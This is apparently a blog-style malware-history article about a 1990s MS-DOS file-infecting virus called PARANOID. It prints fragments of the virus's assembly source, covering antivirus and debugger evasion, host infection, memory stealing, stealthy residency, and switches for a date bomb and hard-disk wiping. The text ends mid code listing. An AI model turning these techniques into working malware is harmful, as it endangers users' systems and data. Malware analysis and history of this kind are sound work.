Computer Archeology: Exploring the Anatomy of an MS-DOS Virus

Thanks to an encounter by chance with two casual middle aged gentlemen at the Communication Convention Center (C3) »Mitte« early one morning and convincing them that their story deserved documentation, I had them unveil a highly idiosyncratic hacker’s time capsule, transporting me back to the world of 1990s malware.

Analyzing the source code of an old computer virus offers fascinating insights into the development practices and programming techniques that evolved in isolation due to its nature, without any influence from a broader community. This analysis is particularly interesting since I have had the opportunity to query the authors about their reasoning in the present.

It all started in the early hours at the C3, when I found myself in the cafeteria, on the hunt for a hot cup of coffee before the tiring congress talks would begin. While waiting for the slow-brewing coffee machine, I accidentally eavesdropped on a conversation about the ‘good old computing days’ from two middle-aged computer enthusiasts seated on stools by the cafeteria window — a spot that, despite its popularity for its entertaining view of the congress hall, felt surprisingly private. ‘This sounds interesting,’ I silently said to myself as I approached them. They paused their quiet conversation and gave me a curious, yet welcoming, look. I introduced myself and asked if I could join them on the last free stool by the window.

Somewhat reserved, I admitted to overhearing parts of their conversation and expressed my interest in the era they were discussing, mentioning that I had done some fun things with computers back then. “I understand you programmed a computer virus for MS-DOS?” I asked humbly, clearing my throat. “No point in denying it, I caught that part too,” I added with a mischievous smile. Honestly, I continued “And don’t worry, I’m just curious.” Initially, they looked as if I had caught them doing something forbidden. Then, after deciding that I was harmless, one of them slowly confessed, “Yes, decades ago — but you never met us!” he continued with a wink towards me. “And no, it never went global, probably didn’t even leave our small town.

Laughter finally broke the ice when I shared an old computer prank of mine. Hence, the former continued, “However, an early version found its way into a collector’s malware anthology.” A little more relaxed, the other added amusedly, “You mean the one we uploaded to the virus mailbox overseas using your trusty U.S. Robotics modem, all while hoping your parents wouldn’t notice the soaring phone bill?” This encouraging twist in our conversation and my serious interest in their narrative led them to gradually reveal their entire story through a series of interviews we held over the following months.

That morning by the slow coffee machine marked the beginning of my journey into their past — a tale of two individuals with different appearances and natures, yet united by their shared interests. To this day, I neither know their real names nor the name of their hometown. Communication since then has been conducted through anonymous means, even though their actions caused no harm and if they had, would likely have long been time-barred.

Books and magazines were their main source of knowledge […]

The story begins in the early 1990s, with both in their late teens, living in a small town in western Germany, a place devoid of adults versed in computing. When they first developed an interest in computers years before, around the age of ten or eleven, computer courses were exclusively available to high school graduates. Among teachers, computing was regarded as unworthy of promotion. However, their parents, despite knowing nothing about computers, supported their burgeoning interests. Since the internet was not available back then, access to information on specific topics was primarily through analog means. Their only sources of knowledge were the detailed manuals included with their home computers, which also taught BASIC programming, computer magazines, relatively expensive books not found in public libraries and (as their first own modems became affordable) documentation from the era’s mailboxes1 (BBS, Bulletin Board System), along with their own creativity.

The internet was not widely available before the late 1990s in Germany. It wasn’t until July 1, 1990, that private individuals were permitted to connect their own telecommunications equipment, such as modems, answering machines, or telephones not(!) provided by Deutsche Bundespost, to their telephone lines. The equipment offered for rent by Deutsche Bundespost, along with the telephone fees, was prohibitively expensive. Fortunately, the privatization of Deutsche Bundespost in 1995, which transformed it into Deutsche Telekom, paved the way for innovative competitors in the telecommunications sector in Germany. The Chaos Computer Club (CCC) humorously nicknamed the Deutsche Bundespost ‘Gilb’ (derived from the German word ‘gelb’ for yellow) due to their monopolistic and bureaucratic practices and the distinctive yellow color of their telephone booths and company logo.

Terminator on Air, April 19, 1992 […]

During one of our video interviews, one of them revealed that April 19, 1992, marked their breakthrough in creating a Proof of Concept (PoC) for a computer virus. This was preceded by discussions about whether creating a virus was even within their capabilities and intellect. They finally succeeded in infecting an executable by automatically appending their code, ensuring that their snippet would execute before the original program’s code. “I remember this date vividly because on our family’s old and discarded TV, which was in my room at the time, the movie ‘Terminator’ was being broadcast for the first time on German television. It was playing merely unnoticed while I was busily experimenting with the infectious code.2.

The first German television broadcast of the Terminator movie occurred on April 19, 1992, on RTLplus. This initial airing featured the slightly shortened FSK 18 video version; all subsequent broadcasts on German television were more extensively shortened until a re-examination took place.

The term “proof of concept” intrigued me, igniting an interest in understanding their old code and exploring how their approach might align with or differ from modern programming techniques.

The journey is the goal […]

Months after we first met, I inquired during a remote call, “What was your intention in writing that computer virus?” After a brief pause to reflect, one of them responded, “Our intention? We wanted to see if we could do what the big names did — those we read about, who created viruses that spread from computer to computer all over the world and were prominently mentioned in computer magazines. We wanted to prove that we could cause harm if we wanted to, but we did not actually aim to cause any harm” then, after another brief pause, he added, “except maybe to those who attempted to analyze and debug our code.” Laughing while recalling, the other interrupted, “I once fell into our own trap while debugging the virus’ code. It took a hell of an effort to recover the disk’s partition table.” The former then noted, “Interestingly, we didn’t even try to enforce its spread too much. I can’t remember why, perhaps just knowing we could was satisfying enough. Aside from its self-preservation and analysis-thwarting features, the virus was benign, as we disabled most of its malicious functionality when releasing it. It merely carried an obfuscated text string so we could recognize it if reports about the virus surfaced.

Bit rot and legacy hardware […]

I was pleased to receive the virus’ source code, of course, via a secure channel. Initially, obtaining the source code seemed doubtful due to bitloss from old storage devices. Recovering it turned into an adventure, involving the reconstruction of vintage hardware to bridge the technological gap created by modern technology’s lack of support for outdated hard disk standards, proprietary tape drives and encrypted file devices from that era.

Bit rot on old storage devices poses a significant challenge to data recovery. Over time, data stored on media such as floppy disks, magnetic tapes and early hard drives can degrade due to physical decay and exposure to magnetic fields, resulting in bit loss and data corruption. Additionally, as technology advances, older data formats often become incompatible with modern systems, presenting further hurdles in accessing historical data. Many long forgotten software applications require specific conversion tools or emulators to read or interpret data created in obsolete formats. This incompatibility also extends to hardware interfaces; technologies like serial ports, even more parallel ports, SCSI interfaces and floppy disk drives, once commonplace, are now rarely supported on new machines. Consequently, accessing old storage devices typically requires legacy hardware or specialized adapters, further complicating the process of data retrieval and preservation.

Finally a mix of virtualization, vintage hardware and specialized adapters for modern computers enabled the successful recovery of the virus’ source codes, even preserving the original files’ timestamps! The methods employed might well be worth a separate article.

Although my observation should be read with a twinkle in the eye, it’s fascinating to see how then intuitively evolved approaches developed in isolation are now fundamental in a similar appearance and taken for granted in modern programming. This showcases the innovative creation of techniques back then to solve intricate challenges and suggests that people, independently and in different contexts, often arrive at similar conclusions3.

Analysis of a computer virus

How exactly did this malware, which I learned was a computer virus named PARANOID, function? How was it designed to spread from one personal computer to another, fulfilling the purpose for which it was programmed? To begin with, PARANOID targeted personal computers running MS-DOS, the precursor to all versions and variants of Microsoft Windows.

MS-DOS (Microsoft Disk Operating System) debuted in 1981 alongside IBM’s first personal computer. Initially known as 86-DOS (internally called QDOS for Quick and Dirty Operating System), it was quickly rebranded by Microsoft. Running on early IBM PCs and their clones, MS-DOS became the foundation of the PC revolution with its command-line interface and simplicity. Throughout the 1980s and 1990s, MS-DOS dominated the personal computer market, powering countless software applications and games. It also provided the platform for early versions of Windows, which initially ran as a graphical interface on top of DOS. The last official version, MS-DOS 6.22, was released in 1994, but it continued to underpin Windows 95 (1995) through Windows ME (2000), which integrated more advanced graphical interfaces4. Despite its age, MS-DOS remains a nostalgic symbol of the early days of personal computing.

The PARANOID virus belonged to a category of file-infecting computer viruses injecting itself into appropriate hosts — the then infected programs, which when traded, happily would infect other programs to be traded. To infect programs on other computers, the virus had to travel as a blind passenger within infected programs traded on floppy disks.

At that time, the most common method for data to ‘travel’ was by being copied from one computer’s hard disk to diskettes and then onto another computer’s hard disk. Less frequently, data moved via remote transmission through telephone connections to and from Bulletin Board Systems (BBS). The most desperately traded data included programs such as games, utilities, or business applications, typically executable files with .EXE or .COM suffixes. Given the prevalence of software piracy, which was as common as running a red light, a computer virus found ample opportunities to spread from one personal computer to another by secretly infecting what was being traded — either the media used for trading or the data itself being traded. Viruses could infect the trading media, such as a diskette’s boot sector, known as boot sector viruses. Alternatively, another type of virus, the so called file-infecting viruses, might infect the traded data itself stored on the diskettes, especially executable programs like the aforementioned games, utilities, or business applications for MS-DOS.

Since PARANOID was crafted to infect traded programs, it belonged to the class of file-infecting viruses. Even though PARANOID, like other computer viruses of its time, was designed to spread and potentially cause harm after an incubation period, the released version was configured not to strike or seed any damage. It simply traveled from computer to computer, spreading itself. Like a message in a bottle, it carried an obfuscated text string to be identified if reports surfaced — a rather romantic idea!

Typically, computer viruses carried malicious intent, usually triggered after a given incubation time, causing various issues from annoying users with screen messages to sabotaging computer functionality or corrupting data to even rendering the system unusable. Incubation times and the corresponding triggered malicious actions of a computer virus were generally discussed: Triggering too early could locally limit the virus’ spread, while striking too late could lead to it being detected too early and taken care of by antivirus software before striking. In other words, balancing the incubation time was a science in itself.

However, PARANOID could have been assembled with malware functionality enabled: It was equipped with a generation counter, intended by the duo to determine the virus’ travel distance by increasing the parent’s generation count by one for its offsprings. This process would continue through generations and could have been enabled to trigger the malicious intent upon reaching a defined count. Additionally, PARANOID could have been unlocked to activate on a specific day of each month. These and other methods could have been combined to fine-tune the virus’ incubation behavior, ensuring it would eventually unleash its optional malware functionality.

Basic Functioning of a file-infecting virus

Before we proceed, let’s explore the simplified functioning of a file-infecting virus. A virus like PARANOID typically goes through the following stages:

Step Description
Ignition The process begins with the virus developer initially infecting a program, patient zero from now on. Patient zero is then distributed, for instance, via a floppy disk or a BBS.
Activated When an infected program such as patient zero (or one of its offsprings) is copied to and executed on a host computer, the virus becomes active, having thereby traveled to the host computer across system boundaries.
Spreading Once active, the virus infects suitable programs on the host by injecting a copy of itself into them and manipulating their execution paths so the virus is activated the next time these programs are run.
Greeting After the virus’ incubation period ends, it executes its malicious intent on its infected host. Otherwise, it behaves as inconspicuously as possible.
Travel The cycle repeats with Activated, though now with the infected host spreading the virus when infected programs are traded, for example, via floppy disk or BBS.

Each operation may be carried out differently depending on the according virus. Additional or alternative actions may be implemented to enhance a virus’ success.

Dissecting the source code

The highly acerbic documentation immediately stands out when looking at PARANOID’s source code. I was told this was a necessity, as assembly code otherwise becomes ‘write-only code’, written once, no longer comprehensible afterwards. The code was written in x86 assembly language to be assembled by tools like Borland’s Turbo Assembler (TASM) into machine code, which could then run on IBM PC-compatible computers. In other words, the resulting machine code was executed directly by the computer’s main processor.

x86 machine code originally ran exclusively in real mode, making MS-DOS a real mode operating system. Such code can be executed by various CPUs (Central Processing Unit), primarily those from Intel and compatible manufacturers, including the Intel 8086, 8088, 80186, 80286, 80386, 80486, AMD Am286, Am386, Am486, Cyrix 486, NEC V20, V30 and DM&P Vortex86 (just to mention the ones relevant for MS-DOS). Each of these CPUs, from the original 16-bit Intel 8086 to modern 64-bit processors like the AMD Ryzen and Intel Core, can execute x86 machine code. This makes the x86 architecture one of the most widely adopted and enduring in computing history. MS-DOS was executed in the CPU’s real mode, which was later supplemented by the more powerful protected mode introduced in an early version with the Intel 80286 processor in 1982. It was not until 1990 that Microsoft began supporting applications running in protected mode with Windows 3.0.

Assembly language is known for its low memory consumption and high performance, as it avoids the overhead of high-level programming languages. This makes it an ideal language for programming a computer virus, which needs to act as inconspicuously as possible on the limited computers of that time.

Assembly language is a low-level programming language that provides a way to write instructions in a format that is (easily) understandable by humans, while still being closely related to machine code. Each assembly language instruction corresponds directly to a machine language instruction, making it highly efficient for controlling hardware and optimizing performance. Assemblers are tools that convert assembly language code into machine code, which can be executed by the CPU. They translate symbolic instructions and addresses into binary code, generating an executable file. Assemblers often include features like macros and symbolic constants, which enhance code readability and maintainability. By using assembly language and assemblers, developers can write highly optimized and hardware-specific code, crucial for systems programming, embedded systems and performance-critical applications.

The first section of the source code contains symbolic constant definitions, including build-time switches, revealing the virus’ modular design and structured handling of cross-cutting concerns. Features could have been activated or deactivated by setting these switches to 1 (enabled) or 0 (disabled) before running the assembler, allowing for a custom-tailored executable virus: These switches provide a first impression of the virus’ capabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
;------------------------------------------------------------------------------
;Wilde Schalter-Orgie:
;------------------------------------------------------------------------------
DOS_VIA_5D00 EQU 1      ;INT 21h-Funktionen über DOS-Funktion AX=5D00h aufrufen
MIT_CODER    EQU 1      ;Coderfunktionen in den Virus einbinden?
OWN_STAPEL   EQU 1      ;Eigenen Stapel für den residenten Teil ?
CHK4WIN      EQU 1      ;Testen, ob es sich um ein Windows-Programm handelt
CHK4SIZE     EQU 1      ;Host-Progs nicht unter MAX_SIZE Bytes infizieren!
SHIFT_SLICE  EQU 1      ;32-Bit-Wert mit den Infektionsintervallen
;------------------------------------------------------------------------------
VSAFE_EXIT   EQU 1      ;VSAFE INT 13h & 21h-Überwachung übergehen
IMPF2INFIZ   EQU 1      ;Trotz CPAV/TNT-Impfung infizieren und täuschen
;------------------------------------------------------------------------------
KEIN_DEBUG   EQU 1      ;Debugger-Fallen einfügen?
HIDE_CODE    EQU 1      ;Diverse Routinen vor dem Sourcer verstecken
STREU_DUMMY  EQU 1      ;Dummybytes streuen um TD zu täuschen ?
;------------------------------------------------------------------------------
PUMPVOLL     EQU 1      ;Beim DOS_WRITE den Schreibpuffer mit Text füllen !!!
DATUM_BOMBE  EQU 1      ;Datums-Test mit anschl. Reset und LOESCH_HD einfügen?
;------------------------------------------------------------------------------
LOESCH_HD    EQU 0      ;Wenn LOESCH_HD = 1, dann auch HD-Löschen möglich !!!
...

Some switches were designed to hide the virus from antivirus software, such as calling MS-DOS functions in unusual ways (DOS_VIA_5D00), encrypting the virus (MIT_CODER), disabling antivirus live protection (VSAFE_EXIT) and bypassing antivirus vaccination protection (IMPF2INFIZ). Another switch aimed to avoid small files being infected to prevent noticeable size changes (CHK4SIZE). To thwart analysis, switches were included to prevent debugging (KEIN_DEBUG), complicate debugging by adding misleading code (STREU_DUMMY) or to break disassembly (HIDE_CODE).

Disassemblers are tools used to convert machine code back into assembly language, providing a human-readable representation of the binary instructions executed by the CPU. This process aids in understanding and analyzing the behavior of executables (binary programs), particularly useful for reverse engineering and malware analysis. Disassemblers attempt to reconstruct the original logic of the program, though they cannot perfectly recover the high-level structure and comments from the source code. Debuggers, on the other hand, are tools that allow developers to inspect and control the execution of a program in real-time. They enable step-by-step execution, setting breakpoints and monitoring CPU registers and memory. Debuggers are invaluable for diagnosing and fixing bugs, as well as for analyzing the behavior of malicious software. Together, disassemblers and debuggers provide a comprehensive toolkit for understanding and analyzing machine code.

Finally, some switches controlled the virus’ malicious actions such as randomly writing predefined text into files being saved by the user instead of the user’s data (PUMPVOLL), resetting the computer on a specific day (DATUM_BOMBE) and deleting the hard drive before resetting (LOESCH_HD).

Setting these switches to either 0 or 1 had enabled the two to assemble a custom-tailored executable version of PARANOID.

The modular structure of PARANOID was implemented by a series of macro library include declarations following the symbolic constant definitions. These macro libraries were not third-party code; rather, they represented functionality that was frequently used or extracted from the main source code for better maintainability. Breaking down a large challenge into smaller, manageable tasks is an effective approach to achieving what might initially seem unattainable.

1
2
3
4
5
6
7
8
            ...
            INCLUDE CODER.INC                   ;Polymorpher Codierer
            INCLUDE MS-DOS.INC                  ;DOS-Aufrufe
            INCLUDE RND.INC                     ;Zufallsgenerator
            INCLUDE TSR.INC                     ;TSR-Funktionen
            INCLUDE VAR.INC                     ;Variablendefinitionen
            INCLUDE VIRMACS.INC                 ;Virus-Funktionen
            ...

A macro assembler, such as Turbo Assembler, provides a way to define macros, which are text templates containing placeholders. Since assembly language is the least abstract way to program software, macros offer a way to reuse code fragments by providing specific values for the macro’s placeholders that reflect the context in which the macro is embedded. Macros related to similar functionality are often stored in the same file, with each file representing a macro library.

Examining the macro libraries included in PARANOID reveals its building blocks: The CODER.INC macro library provided the polymorphic decoder functionality (activated by the MIT_CODER switch) to encode the virus’ data appended to a host program in ever-changing combinations, preventing the occurrence of constant byte sequences that antivirus software could use to unambiguously identify infected files. This approach allowed PARANOID to evade detection by antivirus software relying on virus signatures. The TSR.INC macro library allowed PARANOID to remain passively resident in memory, later intercepting running programs — a feature not directly supported by MS-DOS. This helped the virus disguise hard disk and floppy drive access by correlating it with the interrupted program’s access patterns. The DOS.INC macro library provided convenient access to the MS-DOS “API” for tasks such as reserving memory and accessing hard disks or floppy drives when infecting potential host programs.

Macro Library Functionality
CODER.INC Handles obfuscation of unique signatures and polymorphic decoding
DOS.INC Provides a library of frequently used MS-DOS calls
RND.INC Generates random numbers, essential for encoding
TSR.INC Stay in memory while hooking into MS-DOS calls for infection
VAR.INC Required magic numbers and definitions of data structures
VIRMACS.INC Offers general functionality useful for computer viruses

The virus was modularized with this strategy of defining coherent macro libraries: The macro libraries acted as modules, providing frequently used and proven functionality, which kept the virus’ source code maintainable and comprehensible.

Software modularity refers to the design principle of dividing a program into distinct, independent modules, each responsible for a specific functionality. This approach enhances maintainability, readability and reusability, allowing programmers to work on individual components without affecting the entire system. Modularity also simplifies debugging and testing, as modules can be tested in isolation before integration.

Development methodology

As the virus authors were about to graduate from school, the two had no knowledge of development methods beyond what they had picked up from various sources (bearing in mind that the internet was not generally available to them back then). Moreover, no one around them had even the slightest idea of how software is developed. They often sat together in front of a single PC since laptops were too expensive for them. Sometimes one would sit at the keyboard and program, aided by the other and other times they would switch roles. In other words, they took turns being in the “driver’s seat,” similar to the technique of pair programming.

Pair programming is a collaborative software development technique where two programmers work together at one workstation. One programmer, the “driver,” writes code while the other, the “observer” or “navigator,” reviews each line of code as it is typed. The roles are frequently switched to enhance code quality, facilitate knowledge sharing and improve problem-solving efficiency.

In the beginning the duo followed an intuitive approach without a master plan worked out in advance. Their approach could be best described as:

“Our path was simple and straightforward: we chose the most challenging task to prove the feasibility of our project, tackled it first and then let the next steps reveal themselves.”

Ignition, a Proof of Concept

Their first task was to demonstrate to themselfes that they could write code capable of infecting other programs without affecting these programs’ functionality while ensuring their injected code would execute first when the infected programs were invoked. In other words, their first task was a Proof of Concept (PoC). This required identifying the entry point of any arbitrary program and redirecting it to their injected (appended) code. After execution of their code, control had to be passed back to the original entry point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
;------------------------------------------------------------------------------
; COM oder EXE-Strategie:
;------------------------------------------------------------------------------
            CMP BYTE PTR CS:[OFFSET COMEXE+BP],1 ;COM oder EXE?
            JZ EXE_STRT                          ;--> EXE-Start

;------------------------------------------------------------------------------
; COM: Start-BYTES des Hostprogs restaurieren, rücksprung setzen:
;------------------------------------------------------------------------------
            MOV WORD PTR CS:[HOST_SEG+BP],CS    ;SEG auf <CS>
            LEA SI,COM_START[BP]                ;<SI> mit Adresse des orig-COM
            MOV DI,100H                         ;Ziel auf den COM-Start
            MOV CX,3                            ;3 Durchläufe
            REP MOVSB                           ;Kopieren!
            JMP TEST_DEB                        ;JMP --> TEST_DEB
            IF STREU_DUMMY                      ;-->
              DB 80H                            ;Falsche Befehle !!! (nur TD)
            ENDIF                               ;<--
;------------------------------------------------------------------------------
; EXE: Rücksprung zum Host vorbereiten:
;------------------------------------------------------------------------------
EXE_STRT:   MOV AX,CS                           ;Aktuelles <CS>
EXE_SEG     EQU $+1                             ;EXE_SEG auf die 0 von SUB AX,0
            SUB AX,0                            ;Rücksprung vorbereiten (SEG)
            MOV CS:[HOST_SEG],AX                ;Diff zw. Virus und Host
...

Due to the different structures of COM and EXE files, their code had to restore any changes made to the infected program after execution, depending on the type of program being infected. A COM file’s execution path by default always starts at address 0x100. For PARANOID to take control, a jump instruction pointing to the virus’ code had to overwrite the bytes at address 0x100 so that the virus would be invoked upon execution of the program. These bytes were then restored by the virus before passing control back to the original program at address 0x100. An EXE file, on the other hand, has a dedicated header preceding the actual program. This header, amongst others, declares the entry point of the actual program. In this case, PARANOID had to remember that entry point, insert its own entry point into the header and after executing successfully, jump back to the original entry point as was stored in the header.

A Proof of Concept (PoC) is a preliminary demonstration to verify that certain concepts or theories have the potential for real-world application. In software development, a PoC is created to test the feasibility of an idea or a specific functionality, helping to identify potential issues early in the development process and to determine whether the concept is viable before committing to a full-scale project.

The proof of concept (PoC) was preceded by discussions about whether the undertaking was even possible. The successful PoC confirmed its feasibility, significantly reducing the project’s risk. Simply put, the two now knew the task was achievable. The success provided great motivation, dispelling all doubts. This approach is also common in modern programming, where a PoC is used to determine the feasibility of a solution for a tricky problem, significantly reducing the risks.

Activated’n’Spreading

After mastering the ignition step, which activated their code as soon as the host program was executed, they focused on the spreading mechanism. Initially, the duo started with code that appended itself to the host program. This code could attach itself to any arbitrary program. The key difference was that the virus’ code instead of using a predefined program for infection now had to select the targeted host program(s) from among the hundreds of *.COM and *.EXE files stored on the infected computer’s hard drives and floppy disks. With an appropriate algorithm in place, they noticed that the virus would infect the same program multiple times if their algorithm pointed to a previously infected file in a later run.

Preventing self infection […]

Now that the two had a fully functioning virus, they needed to prevent a program from being infected more than once. Evaluating the results of their test runs (multiple infections of the same program), identifying any issues during their test runs (infecting a program only one time) and fixing them (make sure a program is infected just once) before the next test runs, they iteratively implemented new increments of the virus. This process has similarities to Test-driven development (TDD), though without automated tests.

Test-driven development (TDD) is a software development process where developers begin by testing a manageable chunk of functionality. They evaluate whether it meets the expected behavior and apply necessary changes to the source code if there are deviations to ensure the testing is successful. Testing is automated and the process begins again with the next manageable chunk of functionality. This approach helps ensure code quality and maintainability by enforcing the development of coherent code units and catching issues early in the development cycle.

To prevent double infection, a virus might test specific characteristics of potential candidates to identify and skip already infected programs. This is usually achieved by the virus carrying a unique signature known by the virus itself. However, PARANOID aimed to avoid detection by antivirus software through unique signatures by using a polymorphic decoder (aforementioned by the included CODER.INC macro library and to be discussed later in detail), so the characteristics to detect an infection needed to prevent a unique signature as well.

1
2
3
...
ID_SUM      EQU "A"+"S"  ;Summe der Kennbytes
...

Instead of using a unique signature, they decided on a different approach. They evaluated the last two bytes of a targeted program and checked if that sum matched a hardcoded value. This value was represented by the sum of the ASCII values of the letters ‘A’ and ‘S', standing for “Antivirus Signature” (a humorous side note) and adding up to 0x76 (which is 118 in decimal).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
;------------------------------------------------------------------------------
; ID_WORD  testen (keine Doppelinfektion!):
;------------------------------------------------------------------------------
            MS-DOS_FSEEK BX,2,0FFFFH,(-2)          ;FPtr aufs Fileende-2
            JC N_CLOSE                          ;zurücksetzen.
            MS-DOS_FREAD BX,2,DS,<OFFSET PUFFER>   ;Datei einlesen (ID_WORD?)
            JC N_CLOSE                          ;FEHLER --> CLOSE

            MOV AL,BYTE PTR CS:[PUFFER]         ;1. Byte des ID_WORDS?
            ADD AL,BYTE PTR CS:[PUFFER+1]       ;2. Byte des ID_WORDS?
            CMP AL,ID_SUM                       ;Wenn JA --> AL=ID_SUM!
            JZ N_CLOSE                          ;ID_SUM erkannt --> CLOSE
...

Any two-byte combination that added up to 0x76 would serve as the signature, allowing for 118 variations. This approach avoided using a unique signature while still ensuring that programs were not reinfected, with the negligible drawback that some programs would not get infected if the sum of their last two bytes by chance ended up being 0x76.

Earlier versions of PARANOID which did not use a polymorphic decoder simply tested for a predefined, unchanging sequence of two bytes at the end of each file to be absent before infecting it.

Terminate and stay resident

MS-DOS is a single-user and single-process operating system. It was designed to allow only one user to operate the computer at a time and to run one program at a time. This meant that a virus was usually active for a very short period, primarily right after an infected program was launched. If an infected program was launched from the the hard disk and the virus attempted to infect programs on a diskette, the disk drive’s activity would likely be noticed by the user, quickly revealing the virus’ presence. Therefore, methods to infect programs on removable media (diskettes were the only common ones back then) needed to avoid causing suspicion.

The best time to infect files on an inserted floppy disk was when the user was already accessing the disk drive while performing common tasks, ensuring the virus’ activity would go unnoticed. For this, the virus needed to remain active paradoxically after its host program had finished. This was achieved using a technique called Terminate-and-Stay-Resident (TSR). TSR was not limited to viruses; it was widely used by utility and helper programs. These programs would hook into a computer system’s routines, remain in memory after exiting and run again when those routines were called.

Terminate-and-Stay-Resident (TSR) is a method used in MS-DOS to keep a program resident in memory even after it has terminated, allowing it to be activated later. Such a program typically hooks into hardware or software interrupts by manipulating the interrupt descriptor table and hooking the required interrupt handlers. Since most MS-DOS functionality is provided by software interrupts invoked by the INT machine code instruction and keyboard activity is signaled by triggering hardware interrupts, this allows the program to remain active and respond to system calls or user inputs when hooking the appropriate interrupts. TSR was commonly used for utility and helper programs: Upon activation, TSR programs would take over control, perform their intended tasks — such as displaying a pop-up window with their functionality — then restore the screen and processor state before returning control to the interrupted program.

Viruses like PARANOID used the TSR approach to hook into operating system routines for accessing storage media such as hard disks and disk drives unnoticed. To intercept these routines, the virus had to remain in memory after the host program terminated. To prevent its memory from being overwritten by other programs, the virus reserved a dedicated memory block and disguised it as an operating system component. PARANOID achieved this by “stealing” memory from the host program if the system did not have enough free memory left for the virus to reserve.

Staying resident in memory […]

The virus attempted to reserve memory to stay resident after the host program terminated by first trying to allocate memory directly using the appropriate MS-DOS call. If this failed, it reduced the host program’s memory block size, again using an MS-DOS call, to free up the required memory. Once memory was successfully allocated by either method, the virus copied itself into the newly allocated memory block to remain resident.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
...
;------------------------------------------------------------------------------
; Resident MACHEN des Virus:
;------------------------------------------------------------------------------
NICHDRIN:   MS-DOS_GETMEM MIN_ALLOC,AX             ;Block reserviren
            JNC ALLOC_OK                        ;KEIN FEHLER --> ALLOC_OK
;------------------------------------------------------------------------------
; Vom HOST-Programm Speicher klauen:
;------------------------------------------------------------------------------
            POP AX                              ;<DS> vom STACK in <AX>
            PUSH AX                             ;<DS> wieder sichern
            DEC AX                              ;<ES> auf den MCB
            MOV ES,AX                           ;zeigen lassen
            MOV BX,WORD PTR ES:[MCB_SIZE]       ;Größe des Blocks ermitteln
            SUB BX,MIN_ALLOC+1                  ;Block weniger MIN_ALLOC
            POP ES                              ;<ES> auf <DS>
            PUSH ES                             ;<DS> wieder sichern
            MOV AH,4AH                          ;Blockgröße ändern, <BX>=neue
            MS-DOSE                                ;Größe, <ES>=SEG des RAM-Blocks
            JC F_ENDE                           ;FEHLER --> ENDE
            MS-DOS_GETMEM MIN_ALLOC,AX             ;Block reserviren
            JNC ALLOC_OK                        ;OK --> ALLOK_OK
F_ENDE:     JMP ENDE                            ;FEHLER --> ENDE
            IF STREU_DUMMY                      ;-->
              DB 80H                            ;Falsche Befehle !!! (nur TD)
            ENDIF                               ;<--

;------------------------------------------------------------------------------
; PSP-Eintrag (verfügbarer Speicher) des Hosts aktualisieren:
;------------------------------------------------------------------------------
ALLOC_OK:   SUB WORD PTR ES:[PSP_MEM],MIN_ALLOC+1 ;Hostblock minus Virus

;------------------------------------------------------------------------------
; Virus in den SPEICHER kopieren:
;------------------------------------------------------------------------------
            MOV ES,AX                           ;<ES> auf den neuen Block
            MOV SI,BP                           ;Quell-OFS: [DS:SI]
            XOR DI,DI                           ;Ziel-OFS: [ES:DI]
            MOV CX,MIN_BYTES                    ;MIN_BYTES Durchläufe!
            REP MOVSB                           ;Kopieren!
;------------------------------------------------------------------------------
; BLOCK als belegt kennzeichnen / Aktiv auf NICHT Aktiv setzen!:
;------------------------------------------------------------------------------
            DEC AX                              ;<AX>: OFS-Block --> OFS-MCB
            MOV DS,AX                           ;<DS> auf MCB des neuen Blocks
            MOV WORD PTR DS:[MCB_PSP],8         ;Block=belegt (DOS)
            MOV BYTE PTR ES:[AKTIV],0           ;Aktiv-FLAG auf Null!!!
            RNDINIT ES:[INITWERT]               ;RND-Init-Werte speichern
...

Finally, the Memory Control Block (MCB) describing the allocated memory was updated to mark the block as allocated, ensuring the virus remained resident in memory and preventing other programs from overwriting it. The code minimized attention to the virus’ presence by making the newly reserved memory block appear as if it was owned by MS-DOS. Since the resident part of the virus hooking into MS-DOS functionality was not yet active, the AKTIV flag was initialized to false.

Memory Control Blocks (MCBs) are used by MS-DOS to manage memory allocation. An MCB is 16 bytes in size and typically followed by a block of memory it describes. MCBs are linked together, forming a chain that MS-DOS uses to track all allocated and free memory blocks. Each MCB also contains a pointer to the next MCB, allowing MS-DOS to traverse the entire memory allocation map. Each MCB begins with a 3-byte header that includes an identifier (‘M’ for the first MCB and ‘Z’ for the last) and two bytes indicating the size of the memory block. The two bytes at offset 3 denote the PSP segment field (owner’s segment address). When this field contains a value of 0x0008, it indicates the block is managed by MS-DOS and is considered in use. The remaining bytes in the MCB are generally available for program use, except for any reserved areas required by MS-DOS, the last 4 bytes are regarded unused. Manipulating the MCBs allows direct access to MS-DOS memory management structures, which can be exploited by programs, including viruses, to interfere with MS-DOS’s memory management.

Activation of the resident virus […]

For activation after the host program terminated, the virus hooked into MS-DOS routines, including those for accessing mass storage devices, by redirecting calls to MS-DOS’s INT 21h to the virus’ interceptor code. INT 21h is a software interrupt that provides specific MS-DOS functionality in an abstract manner.

MS-DOS operating system routines are accessed using interrupt numbers, invoked by the INT machine code instruction. These interrupt numbers are mapped to memory addresses where the routines are located, allowing the routines’ memory locations to change (depending on memory allocation needs of MS-DOS) while the interrupt numbers remain constant. This mechanism provides a level of abstraction between application code and the operating system, simplifying interactions and ensuring consistency. With MS-DOS, interrupts serve as a crucial interface between applications and the operating system, managing the computer’s hardware.

When a program calls an interrupt by executing the INT machine code instruction followed by the interrupt number, the processor stops its current execution and jumps to the memory address found in an interrupt descriptor table, which translates the interrupt number to the memory address where the interrupt service routine (ISR) is located. This technique allows for flexible and dynamic handling of various tasks, such as input/output operations, memory management and other system functions. INT 21h is the most commonly used MS-DOS interrupt, providing a wide range of system services. It acts as a gateway to many MS-DOS functionalities, including file management, device I/O, program execution and memory management. By calling INT 21h with specific values in the CPU’s registers, programs can request various services from the operating system.

The virus’ code redirecting INT 21h employed an indirection strategy to obfuscate the virus’ origin in memory. It hooked the MS-DOS interrupt 21h by modifying the INT 21h vector to point to a jump instruction placed in the first Memory Control Block (MCB) used by MS-DOS to manage memory allocation. This jump instruction redirected control to the virus code (NEU21) allowing the virus to intercept and potentially manipulate MS-DOS system calls.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
;------------------------------------------------------------------------------
